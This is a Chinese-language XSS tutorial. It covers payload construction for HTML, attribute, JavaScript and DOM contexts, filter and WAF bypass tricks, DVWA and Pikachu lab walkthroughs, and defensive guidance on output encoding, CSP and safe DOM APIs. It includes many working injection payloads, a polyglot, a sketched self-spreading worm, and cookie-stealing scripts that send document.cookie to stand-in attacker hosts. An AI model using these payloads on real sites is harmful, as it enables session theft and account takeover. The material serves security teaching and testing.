XSS攻击脚本全解析:从原理到实战绕过技巧与防御指南
1. 项目概述:为什么我们需要一份“攻击脚本”总结
干了这么多年Web安全,我越来越觉得,对于开发者或者安全测试人员来说,最头疼的不是理解XSS(跨站脚本攻击)的原理,而是当你在渗透测试、代码审计或者应急响应时,面对一个疑似存在XSS的点,脑子里一片空白,不知道该构造什么样的Payload去验证和利用。原理都懂,反射型、存储型、DOM型,说起来头头是道,但一到实战,就只会用个<script>alert(1)</script>,然后被各种WAF(Web应用防火墙)或者浏览器的XSS Auditor无情拦截,最后只能挠头放弃。
这就是我整理这份“XSS安全常用攻击脚本总结”的初衷。它不是一个教你攻击别人的手册,而是一份防御者的武器库和学习者的实验指南。它的核心价值在于:将抽象的漏洞原理,转化为具体、可操作、可验证的测试用例集合。对于安全工程师,你可以把它当作一个速查表,在授权测试中快速验证漏洞的存在性和危害等级;对于开发者,你可以把它当作一个“负面教材清单”,在代码审查和功能测试时,逐一检查自己的应用是否能抵御这些攻击;对于学习者,你可以通过复现这些Payload,在DVWA、Pikachu等靶场中亲手感受XSS的威力与精巧。
这份总结聚焦于“脚本”本身,也就是那些被注入到页面中并最终被浏览器执行的代码片段。我们会绕过那些泛泛而谈的理论,直接深入到Payload的构造艺术、绕过技巧和实战场景中。你会发现,一个简单的弹窗背后,是前端解析逻辑、浏览器特性、WAF规则与攻击者智慧之间一场永不停歇的猫鼠游戏。
2. XSS攻击脚本的核心分类与构造逻辑
在开始罗列具体脚本之前,我们必须先建立清晰的分类框架。不同的注入点、不同的过滤规则、不同的利用目标,决定了我们使用截然不同的Payload。盲目地堆砌脚本列表是没有意义的,理解其背后的构造逻辑才能举一反三。
2.1 基于HTML上下文的Payload构造
这是最常见的情况。攻击者的输入最终出现在HTML文档的某个位置,浏览器会将其作为HTML的一部分进行解析。我们需要根据输入点所处的“标签环境”和“属性环境”来精心构造。
2.1.1 标签内文本上下文这是最简单的场景。例如,一个博客的评论框,用户输入的内容被直接放入<div>或<p>标签内部。
- 基础Payload:
<script>alert(document.domain)</script> - 构造逻辑:直接闭合当前的文本节点,插入一个新的脚本标签。但现代浏览器和WAF对此类明显标签的过滤非常严格。
- 绕过思路:
- 利用未过滤的HTML标签:如果
<script>被过滤,可以尝试<img src=1 onerror=alert(1)>、<svg onload=alert(1)>、<body onload=alert(1)>。<img>标签的onerror事件在图片加载失败时触发,是经典的利用方式。 - 大小写混淆:
<ScRiPt>alert(1)</sCrIpT>。 - 嵌套绕过:
<scr<script>ipt>alert(1)</scr</script>ipt>,有些简单的过滤逻辑会移除中间的<script>字符串,移除后剩下的字符正好又组合成新的<script>。 - 利用HTML5新标签/属性:
<details open ontoggle=alert(1)>,当details元素展开时会触发ontoggle事件。
- 利用未过滤的HTML标签:如果
2.1.2 HTML标签属性上下文用户的输入被放在了某个HTML标签的属性值里,比如<input value=“USER_INPUT”>或<a href=“USER_INPUT”>。
- 基础Payload:
“><script>alert(1)</script>或 `” οnmοuseοver=“alert(1)” - 构造逻辑:
- 闭合属性值与标签:先闭合前面的双引号,然后闭合当前标签(
>),再插入新的恶意标签。例如:“><img src=1 onerror=alert(1)>。 - 不闭合标签,构造新事件:不闭合标签,而是闭合属性值后,在当前标签内添加一个事件处理器。例如:
” onfocus=“alert(1)” autofocus=“。autofocus属性可以让元素自动获得焦点,从而触发onfocus事件,无需用户交互。 - 针对
href、src等URL属性的JavaScript协议:javascript:alert(1)。当用户点击一个<a href=“javascript:alert(1)”>的链接时,会执行JS代码。注意,现代浏览器对javascript:协议在部分上下文中有一定限制。
- 闭合属性值与标签:先闭合前面的双引号,然后闭合当前标签(
注意:在属性上下文中,确保你的Payload能正确闭合引号。如果服务端没有给属性值加引号,如
<input value=USER_INPUT>,那么空格就可以用于分隔属性,Payload可以简化为1 onmouseover=alert(1)。
2.1.3 绕过HTML实体编码如果服务端对用户输入中的<、>、&、“、‘等字符进行了HTML实体编码(如<转为<),那么上述基于标签的注入基本都会失效。此时需要寻找没有进行编码的注入点,或者转向DOM型XSS。
2.2 基于JavaScript上下文的Payload构造
这种情况更隐蔽,也更考验技术。用户的输入被直接拼接到了<script>标签内部的JavaScript代码中,或者出现在了onclick、onload这类事件处理器的JavaScript代码字符串里。
2.2.1 字符串内联拼接例如:<script>var userInput = ‘USER_INPUT’; </script>。
- 基础Payload:
’; alert(1); // - 构造逻辑:
- 闭合字符串:先用单引号
’闭合前面的字符串。 - 插入恶意代码:接着写入你的JS代码,例如
alert(1);。 - 注释掉后续内容:使用
//(单行注释)或/* */(多行注释)将原代码中后续的字符(如闭合的单引号和分号)注释掉,避免语法错误。最终效果:var userInput = ‘’; alert(1); //’;。
- 闭合字符串:先用单引号
- 变种:如果原字符串用双引号包裹,则用
“闭合。如果输入点不在字符串末尾,可能还需要处理后续的代码结构。
2.2.2 函数调用参数拼接例如:<script>someFunction(‘USER_INPUT’); </script>。
- Payload:
’); alert(1); // - 构造逻辑:闭合参数字符串和函数调用的括号,然后开始新的语句。最终:
someFunction(‘’); alert(1); //’);。
2.2.3 在JS中跳出<script>标签这是一种特殊技巧。当你的输入点在<script>标签内,但无法通过闭合字符串来执行代码时(可能因为复杂的解析或过滤),可以尝试直接跳出JS上下文,回到HTML上下文。
- Payload:
</script><img src=1 onerror=alert(1)> - 构造逻辑:浏览器在解析HTML时,看到
</script>标签会立即终止当前脚本块的执行,无论它是否在字符串内。然后,后续的<img>标签会被当作普通的HTML元素解析,从而触发onerror事件。这对于一些粗糙的“在<script>标签内过滤危险字符”的防御措施是有效的。
2.3 基于DOM操作的Payload构造(DOM型XSS)
DOM型XSS与前两者有本质区别。漏洞的根源不在于服务端响应中包含了恶意脚本,而在于前端JavaScript代码不安全地操作了DOM,将用户可控的数据(如URL的location.hash、location.search,或者document.referrer)写入了页面的DOM树中,并且这些数据最终被当作HTML或JS解析。
2.3.1 典型的危险DOM API
document.write() / document.writeln():直接写入文档流,如果内容包含用户输入且未过滤,极其危险。- 利用:
?input=<script>alert(1)</script>
- 利用:
element.innerHTML / element.outerHTML:直接设置元素的HTML内容。- 利用:
?input=<img src=1 onerror=alert(1)>
- 利用:
element.setAttribute(name, value):如果value来自用户输入且name是事件类属性(如onclick)。- 利用:需要能控制属性名和值,场景相对较少。
eval()、setTimeout()、setInterval()的第一个参数是字符串:如果字符串由用户输入拼接而成。- 利用:
?input=1);alert(1);//
- 利用:
location、window.name、postMessage数据源:这些来源的数据如果被直接用于上述危险操作,也会引发DOM XSS。
2.3.2 DOM型XSS的利用特点
- 纯前端漏洞:服务端响应可能是完全“干净”的,所有恶意代码都在浏览器端动态生成。这导致传统的服务端日志监控和WAF可能无法检测到这类攻击。
- 利用链可能很长:攻击载荷可能隐藏在URL片段(
#之后的部分,即location.hash),这部分内容不会发送到服务器,只在浏览器端被JavaScript读取和使用。 - Payload构造更灵活:由于是JS代码在处理数据,Payload需要符合JS语法,并最终能导致HTML注入或JS执行。例如,利用
innerHTML时,需要构造有效的HTML标签;利用eval时,需要构造合法的JS语句。
3. 高级绕过技术与实战Payload库
了解了基础构造逻辑,我们进入更刺激的环节:如何突破各种防御措施。下面我将分门别类地总结实战中高频使用的Payload,并解释其绕过原理。
3.1 绕过基础关键词过滤
很多防护措施会简单粗暴地黑名单过滤<script>、onerror、javascript:等关键词。
- 大小写绕过:
<ScRiPt>、<sCrIpT>、OnErRoR。 - 双写绕过:针对简单的字符串替换。例如,过滤程序将
<script>替换为空字符串。那么Payload<scr<script>ipt>经过替换后,中间的<script>被移除,两边的字符拼在一起又形成了新的<script>。 - 插入无关字符/标签:利用HTML和JS的解析特性。
- 利用Tab/换行:
<img src=1 onerror=alert(1)>,在属性和值之间插入Tab或换行,有时能绕过基于正则的严格匹配。 - 利用
/:<img/src=1/onerror=alert(1)>,在标签名和属性间加/,浏览器通常能正常解析。 - 利用不可见字符:在某些上下文中,插入URL编码的空白字符(如
%00,%0a,%0d)可能干扰过滤逻辑。
- 利用Tab/换行:
- 使用稀有事件或标签:
<svg onload=alert(1)>:SVG标签本身是XML,但其内联事件在HTML中同样有效。<video onloadstart=alert(1)><source>:onloadstart事件。<body onpageshow=alert(1)>:onpageshow事件。<input onfocus=alert(1) autofocus>:结合autofocus自动触发。<details open ontoggle=alert(1)>:点击展开时触发。
3.2 绕过引号和括号过滤
如果过滤了单双引号和圆括号,事件处理器和函数调用会受限。
- 使用反引号(Template Literals):在现代JS中,反引号可以定义字符串,并且可以嵌入表达式。对于某些JS上下文,
alert1可能有效(但需要`alert`函数本身可用,且上下文支持ES6语法)。更常见的是用于拼接,如 `onerror=alert`1。 - 使用
String.fromCharCode编码:将字符串转换为字符编码。例如,alert(1)可以构造为:eval(String.fromCharCode(97,108,101,114,116,40,49,41))。这可以绕过对特定关键词的字符串匹配。 - 利用
location或name属性:<iframe onload=location=‘javascript:alert1``>。或者利用window.name`跨页面传递数据并执行。 - 使用
throw语句配合异常处理器:这是一种非常规但有趣的技巧。<script>throw onerror=alert, 1</script>。这里,onerror被赋值给alert函数,然后throw 1抛出一个异常,如果全局onerror被我们劫持,就会执行。但这依赖于特定的环境配置。
3.3 利用JavaScript伪协议和Data URI
当注入点出现在URL属性(href、src、action等)时。
- JavaScript伪协议:
javascript:alert(document.domain)- 变种:
javascript:alert(1)是最基础的。可以编写更复杂的JS代码,用void(0)防止页面跳转:javascript:alert(1);void(0); - 限制:现代浏览器在
<iframe>的src、<img>的src等场景下,对javascript:协议的执行有严格限制。但在<a>标签的href中仍较为常见。
- 变种:
- Data URI:
data:text/html,<script>alert(1)</script>- 这是一个非常强大的载体。它允许我们将一个完整的HTML文档内联在URL中。不仅可以执行脚本,还可以渲染完整的页面。
- 在
<object>、<embed>、<iframe>的data属性中使用:<object data=“data:text/html,<script>alert(1)</script>”></object>。 - Base64编码:
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==。这能绕过对尖括号等字符的简单检查。
3.4 基于字符编码与混淆的绕过
这是对抗WAF和深度过滤系统的“艺术”。
- HTML实体编码:虽然服务端编码能防御,但浏览器在JS上下文和某些属性中会先解码。例如,在
<script>标签内,<会被解码为<。但如果服务端错误地允许了编码后的输入,而前端又直接将其放入innerHTML,就可能造成二次解码执行。例如:Payload<img src=1 onerror=alert(1)>,服务端不过滤,前端执行div.innerHTML = userInput;,浏览器会将其解码为<img src=1 onerror=alert(1)>并执行。 - JS Unicode转义:在JavaScript字符串中,可以使用
\uXXXX的形式表示Unicode字符。例如,alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。这能有效绕过基于关键词字符串匹配的WAF规则。 - JS Hex编码:同样,可以使用
\xXX的形式表示十六进制字符。例如,alert可以写成\x61\x6c\x65\x72\x74。 - 混合编码与拼接:将上述技巧组合使用,构造出对人类难以阅读但对浏览器完全合法的Payload。例如,
<img src=1 onerror=\u0061\u006c\u0065\u0072\u00741>。
3.5 存储型XSS的持久化与蠕虫构思
反射型XSS需要诱骗用户点击链接,而存储型XSS的Payload被保存在服务器上(如数据库),所有访问特定页面的用户都会中招,危害更大。
- 常见注入点:用户资料(昵称、头像URL、个性签名)、文章评论、论坛帖子、站内信、商品评价、日志记录等任何用户可控且会再次展示给其他用户的地方。
- Payload设计考量:
- 隐蔽性:避免使用明显的
alert()。可以采用静默攻击,如窃取Cookie:<script>fetch(‘https://attacker.com/steal?c=’+document.cookie)</script>。 - 兼容性:考虑Payload在不同浏览器、不同页面位置的稳定性。
- 蠕虫潜力:结合CSRF(跨站请求伪造),让中招用户的浏览器自动执行恶意操作并传播Payload。例如,在社交网站中,利用XSS注入一段脚本,该脚本会以当前用户身份自动发布一条包含相同XSS Payload的新状态或消息,从而实现自我传播。(注意:此技术仅用于安全研究,在未授权环境中实施是违法的)
- 隐蔽性:避免使用明显的
- 实战Payload示例(窃取Cookie):
或者使用更隐蔽的<script> var img = new Image(); img.src = ‘http://attacker-collector.com/steal?cookie=’ + encodeURIComponent(document.cookie); </script>fetchAPI或XMLHttpRequest。
4. 靶场实战:从Pikachu/DVWA到真实场景思维
掌握了Payload库,我们需要在受控环境中验证和深化理解。Pikachu和DVWA(Damn Vulnerable Web Application)是绝佳的练手靶场。
4.1 Pikachu靶场XSS关卡精解
Pikachu靶场的XSS模块覆盖了反射型(GET/POST)、存储型、DOM型等多种场景,并且设置了不同的过滤等级。
4.1.1 反射型XSS (GET)
- 场景:搜索框,输入内容直接回显在页面。
- 低级:通常无过滤,直接
<script>alert(‘xss’)</script>即可。 - 中级:可能过滤了
<script>标签。尝试<img src=1 onerror=alert(‘xss’)>或<svg onload=alert(‘xss’)>。 - 高级:可能进行了更严格的过滤或编码。需要分析过滤规则:
- 查看页面源码,看输入被如何处置。
- 尝试大小写、双写绕过。
- 尝试事件处理器,但注意
onerror、onload可能也被过滤。 - 尝试使用
<a>标签和javascript:协议,或者<iframe>、<embed>等标签。 - 考虑是否在
<script>标签内部,尝试</script><img...>跳出。
4.1.2 存储型XSS
- 场景:留言板、个人信息页。Payload存入数据库。
- 技巧:
- 测试长度限制:前端可能有输入长度限制,通过浏览器开发者工具(F12)修改
maxlength属性即可突破。 - 测试富文本框:如果应用使用了富文本编辑器(如CKEditor、UEditor),它可能默认只允许安全的HTML标签。需要测试编辑器是否禁用了
script标签,但可能遗漏了img的onerror事件,或者某些特殊的HTML标签。有时需要切换到“源代码”模式进行注入。 - 持久化观察:提交Payload后,刷新页面、从不同浏览器访问,确认Payload是否持续存在并执行。
- 测试长度限制:前端可能有输入长度限制,通过浏览器开发者工具(F12)修改
4.1.3 DOM型XSS
- 场景:Pikachu中有例如“通过
location.href或innerHTML操作DOM”的关卡。 - 方法:
- 不要看页面源码,要看网络响应:打开浏览器开发者工具的“网络”(Network)选项卡,查看服务器返回的原始HTML。你会发现在DOM型XSS中,响应里没有恶意脚本。
- 分析前端JS:在“源代码”(Sources)或“控制台”(Console)中,找到处理用户输入(通常是
location.search或location.hash)的JavaScript代码。 - 构造Payload:根据代码逻辑构造。例如,代码是
document.getElementById(‘demo’).innerHTML = location.hash.substring(1);,那么Payload就是#<img src=1 onerror=alert(1)>。注意location.hash包含#,所以substring(1)是从第二个字符开始截取。
4.2 DVWA靶场XSS关卡精解
DVWA的XSS关卡(反射型、存储型)设置了从Low到Impossible的四个难度,非常适合学习过滤机制的演进。
4.2.1 Low难度
- 无任何过滤:直接注入即可。这是为了理解最原始的漏洞形态。
4.2.2 Medium难度
- 常见策略:使用
str_replace(‘<script>’, ‘’, $input)过滤<script>标签。 - 绕过:
- 双写绕过:
<scr<script>ipt>alert(1)</script>。 - 使用非
<script>标签:<img src=1 onerror=alert(1)>。 - 大小写绕过:
<ScRiPt>alert(1)</ScRiPt>(注意DVWA的Medium难度可能对大小写不敏感,需测试)。
- 双写绕过:
4.2.3 High难度
- 强化过滤:使用正则表达式进行更严格的匹配,例如
preg_replace(‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i’, ‘’, $input),这种正则试图匹配所有大小写变体的script。 - 绕过思路:
- 彻底放弃
<script>标签。<img>标签的onerror事件通常仍然有效。 - 尝试其他带事件的标签:
<body onload=alert(1)>、<svg onload=alert(1)>。 - 如果注入点在
<a>标签的href,尝试javascript:alert(1)。注意DVWA High可能也会过滤javascript:关键词,可以尝试Javascript:alert(1)(大小写)或使用HTML实体编码javascript:。
- 彻底放弃
4.2.4 Impossible难度
- 根本性解决:通常使用白名单过滤(如HTMLPurifier库)或严格的输出编码(如对特殊字符进行HTML实体编码
htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’))。在这种防护下,常规的XSS注入几乎不可能成功,除非存在更底层的浏览器或前端框架漏洞。这个难度是为了展示正确的防御姿势。
4.3 从靶场到真实世界的思维转变
在真实世界中,情况远比靶场复杂:
- WAF的介入:云WAF、硬件WAF会实时检测和阻断攻击流量。你的Payload可能需要更复杂的编码、分割或利用WAF规则盲区。
- 前端框架的影响:现代前端框架如React、Vue、Angular,大多提供了默认的XSS防护(如自动转义)。但开发者如果错误地使用了
v-html(Vue)或dangerouslySetInnerHTML(React)等API,仍然会引入漏洞。此时需要研究框架的特定上下文和安全机制。 - 内容安全策略 (CSP):一个强大的浏览器安全特性。如果网站设置了严格的CSP,即使存在XSS漏洞,攻击者也无法加载外部脚本、执行内联脚本或向特定域名发送数据。绕过CSP是一个更高级的话题,可能涉及JSONP端点、AngularJS Client-Side Template Injection等。
- 输入点更隐蔽:不仅仅是表单和URL参数。
window.name、document.referrer、postMessage消息、WebSocket数据、文件上传的文件名/元数据、PDF生成器的输入等等,都可能成为注入点。 - 漏洞组合利用:XSS很少单独存在。它常与CSRF结合进行权限提升,与点击劫持结合进行伪装,或者作为突破口,进一步利用其他漏洞(如SSRF、越权访问)深入内网。
5. 防御视角:从攻击脚本反推安全编码实践
作为防御者,研究攻击脚本的终极目的是为了构建更坚固的防线。从这些千奇百怪的Payload中,我们可以提炼出最核心的防御原则。
5.1 黄金法则:严格的输出编码/转义
这是最根本、最有效的手段。原则是:数据在哪个上下文中输出,就使用对应上下文的编码规则。
- HTML上下文:将
<、>、&、“、‘等字符转换为HTML实体(<,>,&,",')。在PHP中,使用htmlspecialchars($var, ENT_QUOTES, ‘UTF-8’)。在Java中,使用OWASP ESAPI的encoder().encodeForHTML()。 - HTML属性上下文:同上,使用HTML实体编码。特别要注意,属性值必须用引号括起来,否则
空格或/都可能被攻击者利用来分隔属性。 - JavaScript上下文:将数据放入JS变量时,必须进行JS编码。例如,将引号、换行符等转义为
\xXX或\uXXXX形式。更好的做法是,避免将用户输入直接拼接进JS代码,而是通过DOM API(如textContent)安全地设置内容。 - URL上下文:如果用户输入要作为URL的一部分(如参数值),使用URL编码(
encodeURIComponent)。 - CSS上下文:较少见,但也需注意,使用CSS编码。
实操心得:不要尝试用正则表达式黑名单去“过滤”危险字符,永远会存在漏网之鱼。白名单思想(只允许已知安全的字符集)比黑名单更可靠,但对于富文本等复杂场景,白名单也难以覆盖。因此,对于富文本内容,推荐使用经过严格安全审计的库(如DOMPurify)进行净化和过滤,而不是自己造轮子。
5.2 内容安全策略 (CSP) 的部署
CSP通过HTTP头告诉浏览器,哪些外部资源可以被加载和执行,是缓解XSS危害的利器。
- 一个严格的CSP策略示例:
Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’; style-src ‘self’ ‘unsafe-inline’;default-src ‘self’;:默认只允许加载同源资源。script-src ‘self’ https://trusted.cdn.com;:脚本只能来自同源或指定的可信CDN,禁止内联脚本执行(如<script>...</script>和onclick=“...”)。这是防御XSS的关键。object-src ‘none’;:禁止<object>、<embed>、<applet>等,堵住一些冷门攻击向量。style-src ‘self’ ‘unsafe-inline’;:允许同源和行内样式(<style>和style=“”),因为完全禁止行内样式对UI开发不友好,可酌情调整。
- 部署建议:
- 从
Content-Security-Policy-Report-Only头开始,只报告违规不拦截,观察一段时间,调整策略。 - 使用nonce或hash来允许特定的内联脚本/样式,而不是完全放开
‘unsafe-inline’。 - 确保所有必要的第三方资源(JS库、字体、统计代码)都加入白名单。
- 从
5.3 安全的DOM操作与前端框架使用
- 避免危险的API:除非万不得已,不要使用
innerHTML、outerHTML、document.write()。优先使用textContent或setAttribute(对于非事件属性)来安全地设置文本或属性。 - 框架的安全特性:
- React:默认对所有渲染内容进行转义。只有使用
dangerouslySetInnerHTML时才有风险,必须确保传入的内容是绝对可信或经过严格净化的。 - Vue:
{{ }}插值和v-bind绑定属性默认也是转义的。只有v-html指令存在风险,需谨慎使用。 - Angular:默认将所有值视为不可信并进行净化。绕过需要显式标记为可信。
- React:默认对所有渲染内容进行转义。只有使用
- 对用户输入进行客户端验证:虽然客户端验证易被绕过,绝不能替代服务端验证,但它可以作为第一道快速防线和提升用户体验的手段。对于明显的恶意输入,可以在前端进行提示。
5.4 其他纵深防御措施
- 输入验证与长度限制:在服务端对输入进行严格的格式、类型、长度、范围检查。例如,邮箱字段必须符合邮箱格式,昵称限制长度和字符集(如只允许中英文数字和常见符号)。
- 使用HttpOnly Cookie:为会话Cookie设置
HttpOnly属性,可以阻止JavaScript通过document.cookieAPI访问它,这样即使发生XSS,攻击者也无法直接窃取用户的会话令牌。但这不影响Cookie的自动发送,因此无法防御会话劫持,但增加了攻击难度。 - 定期安全审计与渗透测试:无论是自研代码还是第三方组件,都应定期进行安全代码审计和渗透测试。将本文总结的Payload作为测试用例库的一部分,主动发现潜在漏洞。
- 保持依赖更新:及时更新应用所使用的Web框架、库和中间件,修复已知的安全漏洞。
6. 常见问题排查与工具使用技巧
在实际的漏洞挖掘、测试和修复过程中,你会遇到各种各样的问题。这里记录一些我踩过的坑和总结的技巧。
6.1 为什么我的Payload不执行?
- 检查浏览器控制台 (Console):按下F12,查看是否有JS错误。常见的错误有:
Refused to execute inline script because of Content-Security-Policy.-> 网站启用了CSP,禁止内联脚本执行。Uncaught SyntaxError: Unexpected token ...-> 你的Payload导致了JS语法错误,可能是引号或括号没有正确闭合。Uncaught ReferenceError: alert is not defined-> 在某些严格模式或沙箱环境下(如Chrome扩展、某些iframe),alert函数可能被禁用。可以尝试window.alert或使用其他函数如console.log(但无弹窗效果)来证明执行。
- 查看页面源代码 (Page Source):右键“查看页面源代码”,看看你的输入被服务器如何处理了。是否被HTML实体编码了?标签是否被移除或破坏了?
- 使用开发者工具的元素检查器 (Elements/Inspector):查看渲染后的DOM树。有时源代码和渲染后的DOM不一致(特别是动态生成的DOM)。你的Payload可能在渲染后被修改或移除。
- 检查网络请求 (Network):如果是反射型XSS,查看你提交Payload的请求和响应。确认Payload是否被WAF拦截(返回403等状态码),或者在传输过程中被修改。
- 尝试简化Payload:先用一个最简单的
<img src=x onerror=alert(1)>测试,如果不行,再逐步增加复杂度,定位是哪个部分被过滤。
6.2 有哪些好用的XSS测试与辅助工具?
- 浏览器开发者工具 (F12):这是最核心的工具。Elements、Console、Sources、Network、Application(查看Cookie、Storage)等面板在测试中必不可少。
- Burp Suite / OWASP ZAP:专业的Web安全测试工具。可以拦截、修改、重放HTTP请求,自动化扫描,并且通常带有编码/解码功能,方便构造和测试Payload。
- Intruder模块:可以对Payload中的某个位置进行模糊测试,批量尝试各种变体。
- Decoder模块:快速进行URL、HTML、Base64、ASCII Hex等编码解码。
- XSS Polyglots:一种“万能”的XSS Payload,设计得能在多种上下文和过滤规则下执行。例如一个著名的Polyglot:
jaVasCript:/*-/*/`/'/"/**/(/*/οnerrοr=alert('XSS') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('XSS')//>\x3e`。它同时尝试了JS协议、CSS注释、HTML标签、事件处理器等多种方式。注意:Polyglots通常很长且怪异,容易被WAF识别,主要用于测试过滤器的强度。 - 在线编码/解码平台:如 https://www.url-encode-decode.com/,方便快速进行各种转换。
- DOM Invader (Burp Suite 浏览器扩展):专门用于检测DOM型XSS的利器。它能自动识别Sources(数据源,如
location.hash)和Sinks(危险的接收点,如innerHTML),并高亮显示,极大提升了发现DOM XSS的效率。
6.3 在授权测试中,如何证明XSS的危害性?
仅仅弹出一个窗口alert(1),在渗透测试报告中可能被认为风险较低。你需要证明其真实的危害。
- 窃取敏感信息:构造Payload窃取当前用户的Cookie、Session Token、页面源码(
document.documentElement.outerHTML)、本地存储(localStorage)中的数据,并发送到你的受控服务器。(必须在授权范围内,使用测试专用的接收服务器) - 模拟用户操作:证明可以自动点击按钮、提交表单(如修改密码、转账)、关注用户、发布内容等,即结合CSRF进行攻击。
- 键盘记录:注入键盘记录脚本,窃取用户输入。
- 钓鱼:利用XSS在原网站页面上覆盖一个伪造的登录框(“水坑攻击”),诱骗用户输入账号密码。
- 截图:使用一些高级的JS库(如
html2canvas)尝试对当前页面进行截图并外发,证明可以获取视觉信息。
最后再分享一个我个人在代码审计时的小习惯:每当在代码中看到innerHTML、document.write、eval、setTimeout(string)、$.html()(jQuery)这些函数/方法时,我都会立刻绷紧神经,仔细追踪其参数的来源。如果来源涉及任何用户可控的输入(包括间接输入,如从URL参数解析而来),这里就极有可能是一个XSS漏洞的藏身之处。养成这种条件反射,能帮助你在漏洞造成实际损害之前就将其扼杀在摇篮里。安全是一个持续的过程,而对这些攻击脚本的深刻理解,是我们筑起防线最坚实的砖石。
